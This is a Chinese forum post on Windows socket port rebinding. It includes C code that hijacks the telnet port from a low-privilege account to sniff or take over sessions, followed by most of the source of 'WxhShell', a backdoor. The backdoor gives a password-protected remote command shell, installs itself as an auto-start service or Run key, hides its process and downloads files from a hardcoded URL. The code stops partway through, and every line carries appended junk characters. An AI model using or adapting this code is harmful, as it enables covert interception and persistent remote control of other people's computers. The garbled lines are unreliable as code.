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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +ODua@ULFB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7Hr_ZwO/^  
C)z4Cn9#  
  saddr.sin_family = AF_INET; "0PrdZMx  
W~'xJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m+hI3@j  
k?14'X*7yu  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q+=pP'cV  
tO 8\} u4c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *z?Uh$I4  
={ )85N  
  这意味着什么?意味着可以进行如下的攻击: o,`"*][wd  
aX^T[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Zk%@GOu\  
x/umwT,ov  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `y3'v]  
yx5e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Sl G v  
E7fQ9]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I_<XL<  
x3=1/#9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L'e^D|  
&/? Ct!_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l~rj7f;  
}_]AQN$'G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {h@\C|nF  
c4Zpt%:}h  
  #include K:a8}w>Up  
  #include sQa;l]O:NC  
  #include [34N/;5  
  #include    Cf=H~&`Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [i`  
  int main() tp] 5[U  
  { V:kRr cX  
  WORD wVersionRequested; .J)TIc__|A  
  DWORD ret; tk%f_"}  
  WSADATA wsaData; `FMo; ,j  
  BOOL val; m}uOBR+  
  SOCKADDR_IN saddr; b&U1^{(  
  SOCKADDR_IN scaddr; B`B =bn+4  
  int err; XMuZ}u[U  
  SOCKET s; eBrNhE-[G]  
  SOCKET sc; D*%am|QL  
  int caddsize; eWcqf/4?"  
  HANDLE mt; b# N"} -\^  
  DWORD tid;   jmID@37t  
  wVersionRequested = MAKEWORD( 2, 2 ); X_TjJmc  
  err = WSAStartup( wVersionRequested, &wsaData ); 0SIC=p=J  
  if ( err != 0 ) { 2!^=G=H/  
  printf("error!WSAStartup failed!\n"); ! I@w3`  
  return -1; &:&89<C'  
  } ?bB>}:~j)  
  saddr.sin_family = AF_INET; *p}mn#ru-  
   =%X."i1A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^3$l!>me  
$N=&D_Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R |c=I }@F  
  saddr.sin_port = htons(23); {cm?Q\DT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _RbfyyaN  
  { 6{y7e L3!  
  printf("error!socket failed!\n"); fCr2'+O"b  
  return -1; t1FtYXv`/  
  } 1Z# $X`  
  val = TRUE; gJ6`Kl985O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @V%\Gspv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qT$k%(  
  { c@t?R$c  
  printf("error!setsockopt failed!\n"); Ga7E}y%  
  return -1; >|QH I d8  
  } |Kd#pYt%O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f$o^Xu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Sa= tiOv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |p6d]#z3  
V.GM$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !=dz^f.{  
  { G?W:O{n3  
  ret=GetLastError(); Rd#R}yA  
  printf("error!bind failed!\n"); ra$:ibLN  
  return -1; PJ.\ )oP  
  } .k,j64 r  
  listen(s,2); c{MoeIG)v@  
  while(1) (;l@d|g  
  { d&#_t@%  
  caddsize = sizeof(scaddr); v~nKO?{   
  //接受连接请求 l00i2w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b#6S8C+@  
  if(sc!=INVALID_SOCKET) *G58t`]r  
  { b>07t!;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f7=MgFi  
  if(mt==NULL) y]j.PT`Cw  
  { YN8x|DLi?  
  printf("Thread Creat Failed!\n"); g&$=Y7G  
  break; tIuM9D{P  
  } *2/Jg'de  
  } ]cpb;UfM  
  CloseHandle(mt); Z=JKBoAY  
  } /Q1*Vh4  
  closesocket(s); 5)#j}`6  
  WSACleanup(); %B%_[<B  
  return 0; 46:<[0Psl/  
  }   u H[WlZ4  
  DWORD WINAPI ClientThread(LPVOID lpParam) ppAbG,7  
  { 0?7yM:!l  
  SOCKET ss = (SOCKET)lpParam; "V|Rq]_+%  
  SOCKET sc; V\L;EHtc$  
  unsigned char buf[4096]; jx}&%p X  
  SOCKADDR_IN saddr; P<]U  
  long num; .WF"vUp  
  DWORD val; n7!T{+ge  
  DWORD ret;  +A3/^C0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $J7V]c*-b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'UhoKb_p  
  saddr.sin_family = AF_INET; 8M5)fDu*?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YdhTjvx  
  saddr.sin_port = htons(23); r[L.TX3Ah=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9Dx~! (  
  { P#O" {+`  
  printf("error!socket failed!\n"); cE\w6uBR1  
  return -1; K.  ;ev  
  } t#NPbLZ  
  val = 100; WyO*8b_ D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (!}N&!t  
  { G+ /Q!ic  
  ret = GetLastError(); A({czHLhN5  
  return -1; xs"i_se  
  } 6<&A}pp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J6Ilg@}\  
  { 'LYDJ~  
  ret = GetLastError(); k1B ](@xt  
  return -1; !1$x4 qxS  
  } %KQ1{"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g257jarkMF  
  { iuV4xyp  
  printf("error!socket connect failed!\n"); :\;9y3  
  closesocket(sc); \Id8X`,eD  
  closesocket(ss); F-;JN  
  return -1; O/~T+T%  
  } FQWjL>NB  
  while(1) fQoAdw  
  { V;SfW2`)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IL@yGuO,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !:+U-mb*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tV++QC7@L  
  num = recv(ss,buf,4096,0); P y'BMk  
  if(num>0) Z518J46o  
  send(sc,buf,num,0); {Ydhplg{  
  else if(num==0) lS=YnMs6a  
  break; =D(a~8&,  
  num = recv(sc,buf,4096,0); 6qZQ20h  
  if(num>0) 392V\qtS  
  send(ss,buf,num,0); 7?fgcb3  
  else if(num==0) x?Sx cQP  
  break; SgU@`Pb  
  } +Y?Tri  
  closesocket(ss); )q$[uS_1[  
  closesocket(sc); 4phCn5  
  return 0 ; 0AnL]`"t.3  
  } #(] D]f[@  
r]e{~v/  
2zj` H9  
========================================================== WA n@8!9  
|r@;ulO  
下边附上一个代码,,WXhSHELL O@$>'Z  
=]@Bc 7@  
========================================================== Zr}>>aIJ]k  
\9+,ynJH8z  
#include "stdafx.h" dX?j /M-  
G]B0LUT6c  
#include <stdio.h> HS=w9:,  
#include <string.h> 29Uqdo  
#include <windows.h> h%j4(v}r{C  
#include <winsock2.h> s.z)l$  
#include <winsvc.h> B;bP~e>W  
#include <urlmon.h> /qQx~doK  
| 6AR!  
#pragma comment (lib, "Ws2_32.lib") Gb^63.}  
#pragma comment (lib, "urlmon.lib") i3 js'?7E  
ZRhk2DA#FF  
#define MAX_USER   100 // 最大客户端连接数 IsE&k2 SD  
#define BUF_SOCK   200 // sock buffer {tVA(&\<  
#define KEY_BUFF   255 // 输入 buffer jnV#Q ;  
H;=yR]E  
#define REBOOT     0   // 重启 Yyk~!G/@  
#define SHUTDOWN   1   // 关机 J.~@j;[2  
}Z <I%GT  
#define DEF_PORT   5000 // 监听端口 u/tJ])~@  
l<_v3/3  
#define REG_LEN     16   // 注册表键长度 GVT 6cR  
#define SVC_LEN     80   // NT服务名长度 !MSa -  
i%yKyfD  
// 从dll定义API n[/D>Pi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yte*$cJ=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ( %sf wv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qe~C}j%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #|\|G3Si %  
I85wP}c(  
// wxhshell配置信息 0+0 Y$;<  
struct WSCFG { >uCO=T,|  
  int ws_port;         // 监听端口 D u<P^CE  
  char ws_passstr[REG_LEN]; // 口令 ~Dg:siw  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?3DL .U{  
  char ws_regname[REG_LEN]; // 注册表键名 /8Lb_QH{  
  char ws_svcname[REG_LEN]; // 服务名 6?"Gj}|r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7:~3B-Tb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /:!sn-(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  5+GTK)D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @!$xSH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2-S}#S}2C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %YxKWZ/?  
u9_? c G-  
}; E.#JCO|(1  
eI|FrBq%  
// default Wxhshell configuration mcwd2)  
struct WSCFG wscfg={DEF_PORT, qRT5|\l  
    "xuhuanlingzhe", # l1*#Z  
    1, =YM  
    "Wxhshell", ,>6mc=p  
    "Wxhshell", \1R*M  
            "WxhShell Service", (ht"wY#T<(  
    "Wrsky Windows CmdShell Service", hQ3@CfW  
    "Please Input Your Password: ", +46& Zb35  
  1, _WV13pnRu  
  "http://www.wrsky.com/wxhshell.exe", b?k,_; \  
  "Wxhshell.exe" m<Gd 6V5  
    }; s#~VN;-I  
:Nz TEK  
// 消息定义模块 `~axOp9N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @>`N%wH'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; , -])[u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OfLj 4H 6Q  
char *msg_ws_ext="\n\rExit."; u}'m7|)8  
char *msg_ws_end="\n\rQuit."; yJx,4be  
char *msg_ws_boot="\n\rReboot..."; k8Dk;N  
char *msg_ws_poff="\n\rShutdown..."; QKk7"2t|  
char *msg_ws_down="\n\rSave to "; b#709VHm  
|$8N*7UD  
char *msg_ws_err="\n\rErr!"; NX8w(~r,:  
char *msg_ws_ok="\n\rOK!"; Xe}I;sKrB  
1% @i4  
char ExeFile[MAX_PATH]; _576Qa'rm  
int nUser = 0; m[ S1  
HANDLE handles[MAX_USER]; EhW@iYL  
int OsIsNt; `34+~;;Jh  
+o.#']}Pl  
SERVICE_STATUS       serviceStatus; &~"N/o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Kj"n Id)  
p@$92> '  
// 函数声明 `[=/f=Q}  
int Install(void); mv<cyWp  
int Uninstall(void); B \V ;{:  
int DownloadFile(char *sURL, SOCKET wsh); .Sm 8t$  
int Boot(int flag); RaiYq#X/  
void HideProc(void); rl"yE=  
int GetOsVer(void); 2Z(?pJyDM  
int Wxhshell(SOCKET wsl); Lxa<zy~b  
void TalkWithClient(void *cs); sI)jqHZG  
int CmdShell(SOCKET sock); ]<},[s  
int StartFromService(void); ziAn9/sT  
int StartWxhshell(LPSTR lpCmdLine); .j!:Hp(z}  
2V @ pt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  @C'qbO{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nCldH|>5w  
RZvRV?<bR  
// 数据结构和表定义 uL-$^],  
SERVICE_TABLE_ENTRY DispatchTable[] = GyE5jh2  
{ LNgFk%EH  
{wscfg.ws_svcname, NTServiceMain}, +SFo2Wdr43  
{NULL, NULL} ,|O|gh$s  
}; Ob'[W;p)[w  
[c>YKN2qa  
// 自我安装 >wV2` 6  
int Install(void) ++kVq$9@y  
{ O|;|7fCB\  
  char svExeFile[MAX_PATH]; 6%VRQ#g!  
  HKEY key; `?N|{kb  
  strcpy(svExeFile,ExeFile); %H"AHkge:a  
_h B7;N3  
// 如果是win9x系统,修改注册表设为自启动 <XpG5vV  
if(!OsIsNt) { o<S(ODOfi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BBoVn^Z*R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (.M &nN'Ce  
  RegCloseKey(key); gA+@p'XnR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :JxuaM8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5X`m.lhUc  
  RegCloseKey(key); Oi!uJofW  
  return 0; GQkI7C  
    } ()$tP3 o  
  } %Y].i/".;P  
} =sXk,I;  
else { e=6C0fr  
uQkFFWS  
// 如果是NT以上系统,安装为系统服务 CJLfpvV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j&?@:Zg v  
if (schSCManager!=0) |>p?Cm  
{ LZpqv~av  
  SC_HANDLE schService = CreateService 2)`4(38  
  ( 0o!Egq_  
  schSCManager, "CQ:<$|$  
  wscfg.ws_svcname, L6pw'1'  
  wscfg.ws_svcdisp, |P=-m-W  
  SERVICE_ALL_ACCESS, 6[% 4 Q[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bq}o#d5p-_  
  SERVICE_AUTO_START, vP&JL~  
  SERVICE_ERROR_NORMAL, w#$Q?u ,G  
  svExeFile, = :\o/)+  
  NULL, 6c#1Do(W+  
  NULL, gM#]o QOGE  
  NULL, X pf:I  
  NULL, 4q^'MZm1  
  NULL DmpD`^?-L  
  ); #F >R5 D  
  if (schService!=0) "\Nn,3qp  
  { G Y ]bw  
  CloseServiceHandle(schService); 2G`tS=Un  
  CloseServiceHandle(schSCManager); ~LN {5zg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k'{Bhi4  
  strcat(svExeFile,wscfg.ws_svcname); pj'[ H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v+`gQXJ"G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =I9RM9O<  
  RegCloseKey(key); 7pz #%Hf  
  return 0; QK/~lN  
    } n|I5ylt  
  } [[0u|`T/  
  CloseServiceHandle(schSCManager); ^5*9BwH`  
} u"1Zv!  
} )KD*G;<O]L  
g~$cnU  
return 1; GZqy.AE,  
} 4] I7t  
KP]{=~(  
// 自我卸载 2~*.X^dR  
int Uninstall(void) S_56!  
{ B=+Py%  
  HKEY key; kC-OZVoO  
D~JrO]mi  
if(!OsIsNt) { <@2g.+9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZncJ  
  RegDeleteValue(key,wscfg.ws_regname); ?r-W , n  
  RegCloseKey(key); /aD3E"Op  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sM'%apM#  
  RegDeleteValue(key,wscfg.ws_regname); *5|q_K Pt  
  RegCloseKey(key); <%]i7&8|  
  return 0; s8 0$   
  } V17SJSC-  
} :HQQ8uQfb  
} <2>Qr(bb  
else { a@V`EEZ  
N1i%b,:3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); etWCMR  
if (schSCManager!=0) DF!*S{)  
{ KI{B<S3*Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h#rziZ(  
  if (schService!=0) +&h<:/ V  
  { $UGX vCR  
  if(DeleteService(schService)!=0) { K _sHZ  
  CloseServiceHandle(schService); ;4ETqi9  
  CloseServiceHandle(schSCManager); z<9wh2*M  
  return 0; tjTnFP/=  
  } Wc qUF"A  
  CloseServiceHandle(schService); +:?"P<'  
  } }grel5lq  
  CloseServiceHandle(schSCManager); 0B?t:XU,  
} B)}.%G*  
} `suEN @^  
U}2b{  
return 1; &;]KntxB  
} -'mTSJ.}  
I8:A]  
// 从指定url下载文件 yvp$s  
int DownloadFile(char *sURL, SOCKET wsh) RO+N>Wkt  
{ HJeZm  
  HRESULT hr; Gm2q`ki  
char seps[]= "/"; w[X/|O  
char *token; /f0*NNSat-  
char *file; ~dc~<hK  
char myURL[MAX_PATH]; W2F*+M  
char myFILE[MAX_PATH]; R+y 9JE  
)D"E]  
strcpy(myURL,sURL); yO`HL'SMo  
  token=strtok(myURL,seps); B LI 9(@  
  while(token!=NULL) C=>IJ'G  
  { [uD G;We=  
    file=token; 5b5Hc Inu  
  token=strtok(NULL,seps); R *uwp'@  
  } 14 Toi  
VHihC]ks,  
GetCurrentDirectory(MAX_PATH,myFILE); i~0x/wSl_  
strcat(myFILE, "\\"); 3"HW{=  
strcat(myFILE, file); 84eqT[I'  
  send(wsh,myFILE,strlen(myFILE),0); H%z9VJ*!0  
send(wsh,"...",3,0); 70BLd(?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7uW=fkxT  
  if(hr==S_OK) Uop`)  
return 0; sOUQd-!"  
else ]Ll<Z  
return 1; {oK4 u  
Q^k\q  
} ;bhD:$NB X  
(AI 4a+  
// 系统电源模块 g`9`/  
int Boot(int flag) ev"f@y9Do  
{ J70r`   
  HANDLE hToken; |b'}.(/3i  
  TOKEN_PRIVILEGES tkp; iVe"iH  
?|NMJ Qsa7  
  if(OsIsNt) { 'NYW`,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U1^3 &N8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6I!B>V#U+  
    tkp.PrivilegeCount = 1; J':x]_;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O-jpS?@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3yw`%$d5  
if(flag==REBOOT) { t#BQB<GI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UHT2a9rG  
  return 0; o;5ns  
} ]u<8j r  
else { )~[rb<:)b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :'0.  
  return 0; DP5}q"l  
} x=%wP VJ  
  } tEFbL~n  
  else { b[s=FH]#N  
if(flag==REBOOT) { T1[B*RwC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O ! iN  
  return 0; <A`zK  
} Mj5&vs~n;  
else { [wv;CUmgc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e WWtMnq  
  return 0; *P0sl( &  
} PyQ P K,  
} eRm 9LOp  
Q8  
return 1; 5BRZpCb  
} ' |Ia-RbX  
e` {F7rd:  
// win9x进程隐藏模块 }LTyXo  
void HideProc(void) T7qE 2  
{ O'[r,|Q{  
;*[ oi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *aaK_=w  
  if ( hKernel != NULL ) &r0U9J  
  { M>g%wg7Ah  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i8|0zI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bTepTWv  
    FreeLibrary(hKernel); _y5J]Yu`j  
  }  O3~7  
@T@lHc  
return; q:ah%x[  
} s)9d\{  
wT@{=s,  
// 获取操作系统版本 }>$3B5}  
int GetOsVer(void) sX[k}=HCK  
{ -a\[`JHi  
  OSVERSIONINFO winfo; PSREQK@}E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -?vII~a9y  
  GetVersionEx(&winfo); ]Mb:zs<r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !&#5 *  
  return 1; V<ExR@|}.%  
  else ;%B:1Z  
  return 0; y)uxj-G  
} hA:RVeS{  
O0RV>Ml'&  
// 客户端句柄模块 .{,fb  
int Wxhshell(SOCKET wsl) M T]2n{e  
{ 4D=^24f`0  
  SOCKET wsh; Aw"Y_S8.  
  struct sockaddr_in client; v4Mn@e_#c  
  DWORD myID; aaRc?b'/  
uRCZGg&V?#  
  while(nUser<MAX_USER) 4#Cm5xAt6  
{  4"~F  
  int nSize=sizeof(client); JrNqS[c/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pKNrEq  
  if(wsh==INVALID_SOCKET) return 1; *iiyU}x  
CXd/M~:!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P={8qln,X  
if(handles[nUser]==0) vugGMP;D(  
  closesocket(wsh); :F`"CR^,  
else Vqp 3'=No  
  nUser++; N'n\_x  
  } :878q TB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KvY1bMU!  
w{89@ XRC  
  return 0; n7VQi+i'  
} Z# o;H$  
8Os: SC@Q  
// 关闭 socket wn/Y 5   
void CloseIt(SOCKET wsh) gn)>(MG  
{ aW*8t'm;m'  
closesocket(wsh); {n 4W3  
nUser--; ^E]y >Y  
ExitThread(0); ;/ASl<t,  
} nh*hw[Ord  
)SzgMbF6  
// 客户端请求句柄 ,~*pPhQ8m  
void TalkWithClient(void *cs) 0dCg/wJx  
{ p-f"4vH  
*o6hDhg  
  SOCKET wsh=(SOCKET)cs; [yx8?5  
  char pwd[SVC_LEN]; %_. fEFy07  
  char cmd[KEY_BUFF]; @FaK/lKK  
char chr[1]; k7)<3f3&S.  
int i,j; 'mYUAVmSC#  
F2!]T=  
  while (nUser < MAX_USER) { ^,{ r[}  
4_W*LG~2s  
if(wscfg.ws_passstr) { )MeeF-Ad6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cm17hPe`}n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e N^6gub  
  //ZeroMemory(pwd,KEY_BUFF); K9QC$b9(  
      i=0; WPDi)U X  
  while(i<SVC_LEN) { ;D|g5$OE&  
EYSBC",  
  // 设置超时 :CGh$d] +  
  fd_set FdRead; Ci$?Hm9n  
  struct timeval TimeOut; bsv!z\}  
  FD_ZERO(&FdRead); ]S7>=S  
  FD_SET(wsh,&FdRead); NudY9 ~   
  TimeOut.tv_sec=8; yn|U<Hxl~H  
  TimeOut.tv_usec=0; Ctx{rf_~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E-v^eMWX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IN?6~O p  
~nRbb;M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i;fU],aK!  
  pwd=chr[0]; nO `R++  
  if(chr[0]==0xd || chr[0]==0xa) { b^R_8x  
  pwd=0; =4#p|OZP  
  break; l5FKw;=K}:  
  } IiM=Z=2  
  i++; 3XcFBFE  
    } &~V6g(9  
MuF{STE>->  
  // 如果是非法用户,关闭 socket R 6 -RH7.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dh V6r  
} bkS-[rW  
e/R$Sfj]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qCy SL lp0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]N{jF$  
z 8<"  
while(1) { -0>s`ruor  
->)0jZax  
  ZeroMemory(cmd,KEY_BUFF); Jvr`9<`  
En{< OMg  
      // 自动支持客户端 telnet标准   ?wpl 88z  
  j=0; ImsyyeY]  
  while(j<KEY_BUFF) { ypWhH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -\~HAnh  
  cmd[j]=chr[0]; ~; vt{pk  
  if(chr[0]==0xa || chr[0]==0xd) { IVso/!   
  cmd[j]=0; Q(jIqY1Hf  
  break; :aR_f`KMm  
  } k-I U}|Xz  
  j++; \[<8AV"E-'  
    } n'8 3P%x  
h3j`X'  
  // 下载文件 GP0}I@>?  
  if(strstr(cmd,"http://")) { $_O;yz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0?*":o30  
  if(DownloadFile(cmd,wsh)) d@ef+-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OZ4%6/  
  else `>u^Pm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oT i$@q  
  } FJ2~SKWT  
  else { ^?S lM  
thSXri?kl  
    switch(cmd[0]) { YP73  
  Ww =ksggpB  
  // 帮助 #B5-3CwB  
  case '?': { ONMR2J(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "10.,QK  
    break; (l}nwyh5  
  } #&sn l  
  // 安装 l4AXjq2  
  case 'i': { WO=P~F<  
    if(Install()) z_%}F':  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); glZjo  
    else ld7B{ ?]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k iu#THF  
    break; ^zKP5nzL  
    } H=6-@+ !o  
  // 卸载 jH[{V[<# X  
  case 'r': { VEx )  
    if(Uninstall()) 8Ud.}< Zi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q1RUmIe_&  
    else =U}!+ 8f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; ! B>b)%  
    break; 2#@-t{\3-p  
    } ~j[mME}  
  // 显示 wxhshell 所在路径 /! M%9gu  
  case 'p': { uOJso2Mx  
    char svExeFile[MAX_PATH]; i2?TMM!Fe  
    strcpy(svExeFile,"\n\r"); $d Nmq  
      strcat(svExeFile,ExeFile); }b+$S'`Bv  
        send(wsh,svExeFile,strlen(svExeFile),0); ggUw4w/e  
    break; :.crES7<[X  
    } c>+hY5?C  
  // 重启 H,;9' *84  
  case 'b': { , RU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pt%Y1<9Eh?  
    if(Boot(REBOOT)) o"g<Vz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6c*QBzNL  
    else { N3ccn  
    closesocket(wsh); y6&o+;I$[  
    ExitThread(0); gM&4Ur  
    } ?3do-tTp  
    break; s[%@3bY!7  
    } rQ)I  
  // 关机 ! _?#f|  
  case 'd': { -932[+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?|{tWR,Vb  
    if(Boot(SHUTDOWN)) T1uOp5_]B  
